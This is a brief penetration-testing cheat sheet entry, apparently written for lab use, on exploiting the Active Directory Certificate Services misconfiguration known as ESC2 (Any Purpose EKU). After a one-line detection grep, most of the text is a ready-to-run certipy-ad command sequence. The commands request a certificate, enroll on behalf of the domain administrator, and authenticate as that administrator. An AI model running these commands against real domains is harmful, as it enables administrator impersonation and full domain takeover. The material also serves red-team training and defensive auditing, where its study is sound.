ESC2 — Any Purpose EKU
External: Hacker Recipes — ESC2
External: Internal All The Things — Certificate ESC2
Idea: Template has Any Purpose EKU (or no EKU) — cert usable broadly. Without SAN abuse → often chained like ESC3.
Detect
grep -i ESC2 *_Certipy.txtExploit
If SAN allowed → same as ESC1.
If no SAN → request agent cert, then on-behalf-of:
certipy-ad req -u user@domain.htb -p 'PASS' -dc-ip DC_IP -ca CA_NAME -template ESC2_TEMPLATE
certipy-ad req -u user@domain.htb -p 'PASS' -pfx user.pfx -ca CA_NAME -template User \
-on-behalf-of 'domain\administrator' -dc-ip DC_IP
certipy-ad auth -pfx administrator.pfx -domain domain.htb